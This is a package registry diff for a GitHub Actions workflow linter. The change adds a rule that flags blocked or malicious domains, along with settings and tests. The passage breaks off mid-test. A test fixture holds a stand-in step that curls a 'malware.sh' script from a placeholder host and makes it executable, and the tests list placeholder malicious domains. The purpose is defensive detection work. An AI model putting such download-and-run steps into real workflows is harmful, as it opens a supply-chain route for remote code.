bitwarden_workflow_linter 1.3.5__tar.gz → 1.4.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/PKG-INFO +1 -1
  2. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/settings.yaml +6 -0
  3. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/__about__.py +1 -1
  4. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/default_actions.json +5 -0
  5. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/default_settings.yaml +6 -0
  6. bitwarden_workflow_linter-1.4.0/src/bitwarden_workflow_linter/rules/check_blocked_domains.py +180 -0
  7. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/utils.py +4 -0
  8. bitwarden_workflow_linter-1.4.0/tests/fixtures/test-blocked-domains.yml +34 -0
  9. bitwarden_workflow_linter-1.4.0/tests/rules/test_check_blocked_domains.py +316 -0
  10. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.editorconfig +0 -0
  11. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.gitattributes +0 -0
  12. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/CODEOWNERS +0 -0
  13. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
  14. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/PULL_REQUEST_TEMPLATE.md +0 -0
  15. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/actionlint.yml +0 -0
  16. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/copilot-instructions.md +0 -0
  17. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/renovate.json +0 -0
  18. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/_version_type.yml +0 -0
  19. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/bwwl_operations.yml +0 -0
  20. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/cd.yml +0 -0
  21. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/ci.yml +0 -0
  22. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/enforce-labels.yml +0 -0
  23. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/ci.yaml +0 -0
  24. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example-references/_build.yml +0 -0
  25. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example-references/_docker.yml +0 -0
  26. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example-references/_test.yml +0 -0
  27. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example-references/_version.yml +0 -0
  28. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example.yaml +0 -0
  29. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/pull_request_target.yml +0 -0
  30. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/scan.yaml +0 -0
  31. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.github/workflows/scan.yml +0 -0
  32. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.gitignore +0 -0
  33. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.husky/pre-commit +0 -0
  34. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/.python-version +0 -0
  35. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/CONTRIBUTING.md +0 -0
  36. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/LICENSE.txt +0 -0
  37. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/Pipfile +0 -0
  38. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/Pipfile.lock +0 -0
  39. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/README.md +0 -0
  40. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/RULE_ROLLOUT.md +0 -0
  41. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/SECURITY.md +0 -0
  42. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/Taskfile.yml +0 -0
  43. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/package-lock.json +0 -0
  44. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/package.json +0 -0
  45. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/pylintrc +0 -0
  46. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/pyproject.toml +0 -0
  47. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/pyproject.toml.tpl +0 -0
  48. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/__init__.py +0 -0
  49. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/actionlint_version.yaml +0 -0
  50. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/actions.py +0 -0
  51. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/cli.py +0 -0
  52. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/lint.py +0 -0
  53. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/load.py +0 -0
  54. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/models/__init__.py +0 -0
  55. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/models/job.py +0 -0
  56. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/models/step.py +0 -0
  57. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/models/workflow.py +0 -0
  58. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rule.py +0 -0
  59. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/__init__.py +0 -0
  60. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/check_pr_target.py +0 -0
  61. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/job_environment_prefix.py +0 -0
  62. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/name_capitalized.py +0 -0
  63. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/name_exists.py +0 -0
  64. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/permissions_exist.py +0 -0
  65. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/pinned_job_runner.py +0 -0
  66. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/run_actionlint.py +0 -0
  67. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/step_approved.py +0 -0
  68. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/step_pinned.py +0 -0
  69. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/underscore_outputs.py +0 -0
  70. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/__init__.py +0 -0
  71. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/conftest.py +0 -0
  72. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-alt.yml +0 -0
  73. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-min-incorrect.yaml +0 -0
  74. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-min.yaml +0 -0
  75. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-outputs-incorrect.yml +0 -0
  76. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test.yml +0 -0
  77. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test_a.yaml +0 -0
  78. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test_workflow.yaml +0 -0
  79. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test_workflow_incorrect.yaml +0 -0
  80. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/__init__.py +0 -0
  81. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_check_pr_target.py +0 -0
  82. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_job_environment_prefix.py +0 -0
  83. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_name_capitalized.py +0 -0
  84. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_name_exists.py +0 -0
  85. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_permissions_exist.py +0 -0
  86. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_pinned_job_runner.py +0 -0
  87. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_run_actionlint.py +0 -0
  88. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_step_approved.py +0 -0
  89. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_step_pinned.py +0 -0
  90. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_underscore_output.py +0 -0
  91. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/test_job.py +0 -0
  92. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/test_lint.py +0 -0
  93. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/test_load.py +0 -0
  94. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/test_rule.py +0 -0
  95. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/test_step.py +0 -0
  96. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/test_utils.py +0 -0
  97. {bitwarden_workflow_linter-1.3.5 → bitwarden_workflow_linter-1.4.0}/tests/test_workflow.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bitwarden_workflow_linter
3
- Version: 1.3.5
3
+ Version: 1.4.0
4
4
  Summary: Custom GitHub Action Workflow Linter
5
5
  Project-URL: Homepage, https://github.com/bitwarden/workflow-linter
6
6
  Project-URL: Issues, https://github.com/bitwarden/workflow-linter/issues
@@ -19,6 +19,12 @@ enabled_rules:
19
19
  level: error
20
20
  - id: bitwarden_workflow_linter.rules.permissions_exist.RulePermissionsExist
21
21
  level: error
22
+ - id: bitwarden_workflow_linter.rules.check_blocked_domains.RuleCheckBlockedDomains
23
+ level: warning
22
24
 
23
25
  approved_actions_path: default_actions.json
24
26
  default_branch: main
27
+
28
+ # List of domains that should trigger an error if found in workflows
29
+ blocked_domains:
30
+ - ghrc.io
@@ -1,3 +1,3 @@
1
1
  """Metadata for Workflow Linter."""
2
2
 
3
- __version__ = "1.3.5"
3
+ __version__ = "1.4.0"
@@ -463,5 +463,10 @@
463
463
  "name": "yogevbd/enforce-label-action",
464
464
  "sha": "a3c219da6b8fa73f6ba62b68ff09c469b3a1c024",
465
465
  "version": "2.2.2"
466
+ },
467
+ "zizmorcore/zizmor-action": {
468
+ "name": "zizmorcore/zizmor-action",
469
+ "sha": "5ca5fc7a4779c5263a3ffa0e1f693009994446d1",
470
+ "version": "v0.1.2"
466
471
  }
467
472
  }
@@ -19,6 +19,12 @@ enabled_rules:
19
19
  level: error
20
20
  - id: bitwarden_workflow_linter.rules.permissions_exist.RulePermissionsExist
21
21
  level: error
22
+ - id: bitwarden_workflow_linter.rules.check_blocked_domains.RuleCheckBlockedDomains
23
+ level: warning
22
24
 
23
25
  approved_actions_path: default_actions.json
24
26
  default_branch: main
27
+
28
+ # List of domains that should trigger an error if found in workflows
29
+ blocked_domains:
30
+ - ghrc.io
@@ -0,0 +1,180 @@
1
+ """A Rule to check for blocked/malicious domains in workflow content."""
2
+
3
+ import re
4
+ from typing import List, Optional, Tuple, Union
5
+
6
+ from ..models.job import Job
7
+ from ..models.step import Step
8
+ from ..models.workflow import Workflow
9
+ from ..rule import Rule
10
+ from ..utils import LintLevels, Settings
11
+
12
+
13
+ class RuleCheckBlockedDomains(Rule):
14
+ """Rule to detect blocked or malicious domains in workflow content.
15
+
16
+ This rule scans workflow content (URLs, scripts, commands) for domains
17
+ that have been flagged as blocked or potentially malicious. It helps
18
+ prevent supply chain attacks and unauthorized external dependencies.
19
+ """
20
+
21
+ def __init__(self, settings: Optional[Settings] = None, lint_level: Optional[LintLevels] = LintLevels.ERROR) -> None:
22
+ """Constructor for RuleCheckBlockedDomains.
23
+
24
+ Args:
25
+ settings:
26
+ A Settings object that contains any default, overridden, or custom settings
27
+ required anywhere in the application.
28
+ lint_level:
29
+ The LintLevels enum value to determine the severity of the rule.
30
+ """
31
+ self.on_fail = lint_level
32
+ self.compatibility = [Workflow, Job, Step]
33
+ self.settings = settings
34
+
35
+ # Get blocked domains from settings, use defaults if none provided
36
+ self.blocked_domains = settings.blocked_domains if settings else []
37
+
38
+ def extract_domains_from_text(self, text: str) -> List[str]:
39
+ """Extract domain names from text content.
40
+
41
+ Args:
42
+ text: The text to scan for domains
43
+
44
+ Returns:
45
+ List of domain names found in the text
46
+ """
47
+ if not text:
48
+ return []
49
+
50
+ # Pattern to match domain names in various contexts
51
+ # Breaking down the regex:
52
+ # (?:https?://)? - Optional protocol (http:// or https://)
53
+ # (?:www\.)? - Optional www. prefix
54
+ # ([a-zA-Z0-9] - Start of capturing group: first character (alphanumeric)
55
+ # (?:[a-zA-Z0-9-]{0,61} - Non-capturing group: 0-61 alphanumeric or hyphen chars
56
+ # [a-zA-Z0-9])? - End with alphanumeric (ensures no trailing hyphen)
57
+ # \.)+ - Followed by dot, repeated (for subdomains)
58
+ # [a-zA-Z]{2,} - Top-level domain (2+ letters)
59
+ # (?:/[^\s]*)? - Optional path (slash followed by non-whitespace chars)
60
+ domain_pattern = r'(?:https?://)?(?:www\.)?([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}(?:/[^\s]*)?'
61
+
62
+ domains = set()
63
+
64
+ # Find all matches and extract the domain part
65
+ for match in re.finditer(domain_pattern, text, re.IGNORECASE):
66
+ full_match = match.group(0)
67
+ # Clean up the domain (remove protocol, www, path)
68
+ domain = re.sub(r'^https?://', '', full_match)
69
+ domain = re.sub(r'^www\.', '', domain)
70
+ domain = re.sub(r'/.*$', '', domain) # Remove path
71
+ domain = domain.lower().strip()
72
+
73
+ if domain and '.' in domain:
74
+ domains.add(domain)
75
+
76
+ return list(domains)
77
+
78
+ def check_blocked_domains(self, text: str) -> Tuple[bool, List[str]]:
79
+ """Check if text contains any blocked domains.
80
+
81
+ Args:
82
+ text: The text to check for blocked domains
83
+
84
+ Returns:
85
+ Tuple of (is_clean, list_of_found_blocked_domains)
86
+ """
87
+ if not text:
88
+ return True, []
89
+
90
+ domains = self.extract_domains_from_text(text)
91
+ blocked_found = []
92
+
93
+ for domain in domains:
94
+ for blocked_domain in self.blocked_domains:
95
+ blocked_domain_lc = blocked_domain.lower().strip()
96
+ domain_lc = domain.lower().strip()
97
+ # Check for exact match or subdomain match
98
+ if domain_lc == blocked_domain_lc or domain_lc.endswith('.' + blocked_domain_lc):
99
+ blocked_found.append(domain)
100
+
101
+ return len(blocked_found) == 0, blocked_found
102
+
103
+ def fn(self, obj: Union[Workflow, Job, Step]) -> Tuple[bool, str]:
104
+ """Check the workflow object for blocked domains.
105
+
106
+ Args:
107
+ obj: The workflow object (Workflow, Job, or Step) to check
108
+
109
+ Returns:
110
+ Tuple of (success, error_message)
111
+ """
112
+ blocked_domains_found = []
113
+
114
+ if isinstance(obj, Workflow):
115
+ # Check workflow-level content
116
+ if obj.name:
117
+ is_clean, domains = self.check_blocked_domains(obj.name)
118
+ if not is_clean:
119
+ blocked_domains_found.extend([(f"workflow name", domain) for domain in domains])
120
+
121
+ elif isinstance(obj, Job):
122
+ # Check job-level content
123
+ if obj.name:
124
+ is_clean, domains = self.check_blocked_domains(obj.name)
125
+ if not is_clean:
126
+ blocked_domains_found.extend([(f"job name", domain) for domain in domains])
127
+
128
+ if obj.uses:
129
+ is_clean, domains = self.check_blocked_domains(obj.uses)
130
+ if not is_clean:
131
+ blocked_domains_found.extend([(f"job uses", domain) for domain in domains])
132
+
133
+ # Check environment variables
134
+ if obj.env:
135
+ for key, value in obj.env.items():
136
+ if isinstance(value, str):
137
+ is_clean, domains = self.check_blocked_domains(value)
138
+ if not is_clean:
139
+ blocked_domains_found.extend([(f"job env '{key}'", domain) for domain in domains])
140
+
141
+ elif isinstance(obj, Step):
142
+ # Check step-level content
143
+ if obj.name:
144
+ is_clean, domains = self.check_blocked_domains(obj.name)
145
+ if not is_clean:
146
+ blocked_domains_found.extend([(f"step name", domain) for domain in domains])
147
+
148
+ if obj.uses:
149
+ is_clean, domains = self.check_blocked_domains(obj.uses)
150
+ if not is_clean:
151
+ blocked_domains_found.extend([(f"step uses", domain) for domain in domains])
152
+
153
+ if obj.run:
154
+ is_clean, domains = self.check_blocked_domains(obj.run)
155
+ if not is_clean:
156
+ blocked_domains_found.extend([(f"step run command", domain) for domain in domains])
157
+
158
+ # Check environment variables
159
+ if obj.env:
160
+ for key, value in obj.env.items():
161
+ if isinstance(value, str):
162
+ is_clean, domains = self.check_blocked_domains(value)
163
+ if not is_clean:
164
+ blocked_domains_found.extend([(f"step env '{key}'", domain) for domain in domains])
165
+
166
+ # Check step with parameters
167
+ if obj.uses_with:
168
+ for key, value in obj.uses_with.items():
169
+ if isinstance(value, str):
170
+ is_clean, domains = self.check_blocked_domains(value)
171
+ if not is_clean:
172
+ blocked_domains_found.extend([(f"step with '{key}'", domain) for domain in domains])
173
+
174
+ if blocked_domains_found:
175
+ error_details = []
176
+ for location, domain in blocked_domains_found:
177
+ error_details.append(f"Found blocked domain '{domain}' in {location}")
178
+ return False, "; ".join(error_details)
179
+
180
+ return True, ""
@@ -114,6 +114,7 @@ class Settings:
114
114
  approved_actions: dict[str, Action]
115
115
  actionlint_version: str
116
116
  default_branch: Optional[str]
117
+ blocked_domains: Optional[list[str]]
117
118
 
118
119
  def __init__(
119
120
  self,
@@ -121,6 +122,7 @@ class Settings:
121
122
  approved_actions: Optional[dict[str, dict[str, str]]] = None,
122
123
  actionlint_version: Optional[str] = None,
123
124
  default_branch: Optional[str] = None,
125
+ blocked_domains: Optional[list[str]] = None,
124
126
  ) -> None:
125
127
  """Settings object that can be overridden in settings.py.
126
128
 
@@ -147,6 +149,7 @@ class Settings:
147
149
  name: Action(**action) for name, action in approved_actions.items()
148
150
  }
149
151
  self.default_branch = default_branch
152
+ self.blocked_domains = blocked_domains or []
150
153
 
151
154
  @staticmethod
152
155
  def factory() -> SettingsFromFactory:
@@ -201,4 +204,5 @@ class Settings:
201
204
  approved_actions=settings["approved_actions"],
202
205
  actionlint_version=actionlint_version,
203
206
  default_branch=default_branch,
207
+ blocked_domains=settings.get("blocked_domains", []),
204
208
  )
@@ -0,0 +1,34 @@
1
+ name: Test Blocked Domains
2
+ on:
3
+ push:
4
+ pull_request:
5
+
6
+ jobs:
7
+ clean-job:
8
+ name: Clean Job
9
+ runs-on: ubuntu-latest
10
+ steps:
11
+ - name: Checkout
12
+ uses: actions/checkout@v4
13
+
14
+ - name: Run safe command
15
+ run: echo "This is safe"
16
+
17
+ job-with-blocked-domain:
18
+ name: Job with malicious-example.com reference
19
+ runs-on: ubuntu-latest
20
+ env:
21
+ DOWNLOAD_URL: https://suspicious-domain.org/config.json
22
+ steps:
23
+ - name: Download from blocked domain
24
+ run: |
25
+ curl -o script.sh https://untrusted-repo.net/malware.sh
26
+ chmod +x script.sh
27
+
28
+ - name: Use blocked action
29
+ uses: bad-actor.io/malicious-action@v1
30
+ with:
31
+ config_url: https://malicious-example.com/config
32
+ backup_server: untrusted-repo.net/backup
33
+ env:
34
+ API_ENDPOINT: https://suspicious-domain.org/api
@@ -0,0 +1,316 @@
1
+ """Test src/bitwarden_workflow_linter/rules/check_blocked_domains.py."""
2
+
3
+ import pytest
4
+ from ruamel.yaml import YAML
5
+
6
+ from src.bitwarden_workflow_linter.load import WorkflowBuilder
7
+ from src.bitwarden_workflow_linter.models.job import Job
8
+ from src.bitwarden_workflow_linter.models.step import Step
9
+ from src.bitwarden_workflow_linter.models.workflow import Workflow
10
+ from src.bitwarden_workflow_linter.rules.check_blocked_domains import RuleCheckBlockedDomains
11
+ from src.bitwarden_workflow_linter.utils import Settings, LintLevels
12
+
13
+ yaml = YAML()
14
+
15
+
16
+ @pytest.fixture(name="settings")
17
+ def fixture_settings():
18
+ return Settings(
19
+ blocked_domains=[
20
+ 'malicious-example.com',
21
+ 'suspicious-domain.org',
22
+ 'untrusted-repo.net',
23
+ 'bad-actor.io'
24
+ ]
25
+ )
26
+
27
+
28
+ @pytest.fixture(name="rule")
29
+ def fixture_rule(settings):
30
+ return RuleCheckBlockedDomains(settings=settings)
31
+
32
+
33
+ class TestRuleCheckBlockedDomains:
34
+ """Test the RuleCheckBlockedDomains rule."""
35
+
36
+ def test_extract_domains_from_text(self, rule):
37
+ """Test domain extraction from various text formats."""
38
+ test_cases = [
39
+ ("https://example.com/path", ["example.com"]),
40
+ ("http://www.test.org", ["test.org"]),
41
+ ("Visit malicious-example.com for info", ["malicious-example.com"]),
42
+ ("Download from https://suspicious-domain.org/file.zip", ["suspicious-domain.org"]),
43
+ ("No domains here", []),
44
+ ("", []),
45
+ ("Multiple: example.com and test.org", ["example.com", "test.org"]),
46
+ ]
47
+
48
+ for text, expected in test_cases:
49
+ domains = rule.extract_domains_from_text(text)
50
+ # Sort both lists for comparison since order doesn't matter
51
+ assert sorted(domains) == sorted(expected), f"Failed for text: '{text}'"
52
+
53
+ def test_check_blocked_domains_clean_text(self, rule):
54
+ """Test checking text with no blocked domains."""
55
+ clean_texts = [
56
+ "https://github.com/bitwarden/workflow-linter",
57
+ "Download from npm registry",
58
+ "Visit our documentation at docs.bitwarden.com",
59
+ ""
60
+ ]
61
+
62
+ for text in clean_texts:
63
+ is_clean, blocked = rule.check_blocked_domains(text)
64
+ assert is_clean, f"Text should be clean: '{text}'"
65
+ assert len(blocked) == 0
66
+
67
+ def test_check_blocked_domains_with_blocked(self, rule):
68
+ """Test checking text with blocked domains."""
69
+ blocked_texts = [
70
+ ("https://malicious-example.com/download", ["malicious-example.com"]),
71
+ ("Visit suspicious-domain.org", ["suspicious-domain.org"]),
72
+ ("curl https://untrusted-repo.net/script.sh", ["untrusted-repo.net"]),
73
+ ("Multiple: malicious-example.com and suspicious-domain.org",
74
+ ["malicious-example.com", "suspicious-domain.org"])
75
+ ]
76
+
77
+ for text, expected_domains in blocked_texts:
78
+ is_clean, blocked = rule.check_blocked_domains(text)
79
+ assert not is_clean, f"Text should not be clean: '{text}'"
80
+ assert len(blocked) > 0
81
+ # Check that all expected domains are found
82
+ for domain in expected_domains:
83
+ assert domain in blocked, f"Expected domain '{domain}' not found in {blocked}"
84
+
85
+ def test_workflow_level_check_clean(self, rule):
86
+ """Test workflow-level checking with clean content."""
87
+ workflow_yaml = """
88
+ name: Clean Workflow
89
+ on:
90
+ push:
91
+ jobs:
92
+ test:
93
+ runs-on: ubuntu-latest
94
+ steps:
95
+ - name: Checkout
96
+ uses: actions/checkout@v4
97
+ """
98
+
99
+ workflow_data = yaml.load(workflow_yaml)
100
+ workflow = Workflow.init("", "test.yml", workflow_data)
101
+
102
+ success, message = rule.fn(workflow)
103
+ assert success, f"Workflow should pass: {message}"
104
+
105
+ def test_workflow_level_check_blocked(self, rule):
106
+ """Test workflow-level checking with blocked domain."""
107
+ workflow_yaml = """
108
+ name: Download from malicious-example.com
109
+ on:
110
+ push:
111
+ jobs:
112
+ test:
113
+ runs-on: ubuntu-latest
114
+ steps:
115
+ - name: Test
116
+ run: echo "test"
117
+ """
118
+
119
+ workflow_data = yaml.load(workflow_yaml)
120
+ workflow = Workflow.init("", "test.yml", workflow_data)
121
+
122
+ success, message = rule.fn(workflow)
123
+ assert not success, "Workflow should fail due to blocked domain"
124
+ assert "malicious-example.com" in message
125
+ assert "workflow name" in message
126
+
127
+ def test_job_level_check_clean(self, rule):
128
+ """Test job-level checking with clean content."""
129
+ job_data = yaml.load("""
130
+ name: Clean Job
131
+ runs-on: ubuntu-latest
132
+ env:
133
+ API_URL: https://api.github.com
134
+ steps:
135
+ - name: Test
136
+ run: echo "test"
137
+ """)
138
+
139
+ job = Job.init("test-job", job_data)
140
+
141
+ success, message = rule.fn(job)
142
+ assert success, f"Job should pass: {message}"
143
+
144
+ def test_job_level_check_blocked_in_name(self, rule):
145
+ """Test job-level checking with blocked domain in name."""
146
+ job_data = yaml.load("""
147
+ name: Download from suspicious-domain.org
148
+ runs-on: ubuntu-latest
149
+ steps:
150
+ - name: Test
151
+ run: echo "test"
152
+ """)
153
+
154
+ job = Job.init("test-job", job_data)
155
+
156
+ success, message = rule.fn(job)
157
+ assert not success, "Job should fail due to blocked domain in name"
158
+ assert "suspicious-domain.org" in message
159
+ assert "job name" in message
160
+
161
+ def test_job_level_check_blocked_in_uses(self, rule):
162
+ """Test job-level checking with blocked domain in uses."""
163
+ job_data = yaml.load("""
164
+ uses: malicious-example.com/action@v1
165
+ """)
166
+
167
+ job = Job.init("test-job", job_data)
168
+
169
+ success, message = rule.fn(job)
170
+ assert not success, "Job should fail due to blocked domain in uses"
171
+ assert "malicious-example.com" in message
172
+ assert "job uses" in message
173
+
174
+ def test_job_level_check_blocked_in_env(self, rule):
175
+ """Test job-level checking with blocked domain in environment variable."""
176
+ job_data = yaml.load("""
177
+ name: Test Job
178
+ runs-on: ubuntu-latest
179
+ env:
180
+ DOWNLOAD_URL: https://untrusted-repo.net/file.zip
181
+ steps:
182
+ - name: Test
183
+ run: echo "test"
184
+ """)
185
+
186
+ job = Job.init("test-job", job_data)
187
+
188
+ success, message = rule.fn(job)
189
+ assert not success, "Job should fail due to blocked domain in env"
190
+ assert "untrusted-repo.net" in message
191
+ assert "job env 'DOWNLOAD_URL'" in message
192
+
193
+ def test_step_level_check_clean(self, rule):
194
+ """Test step-level checking with clean content."""
195
+ step_data = yaml.load("""
196
+ name: Checkout code
197
+ uses: actions/checkout@v4
198
+ """)
199
+
200
+ step = Step.init(0, "test-job", step_data)
201
+
202
+ success, message = rule.fn(step)
203
+ assert success, f"Step should pass: {message}"
204
+
205
+ def test_step_level_check_blocked_in_uses(self, rule):
206
+ """Test step-level checking with blocked domain in uses."""
207
+ step_data = yaml.load("""
208
+ name: Download malicious action
209
+ uses: malicious-example.com/action@v1
210
+ """)
211
+
212
+ step = Step.init(0, "test-job", step_data)
213
+
214
+ success, message = rule.fn(step)
215
+ assert not success, "Step should fail due to blocked domain in uses"
216
+ assert "malicious-example.com" in message
217
+ assert "step uses" in message
218
+
219
+ def test_step_level_check_blocked_in_run(self, rule):
220
+ """Test step-level checking with blocked domain in run command."""
221
+ step_data = yaml.load("""
222
+ name: Download script
223
+ run: |
224
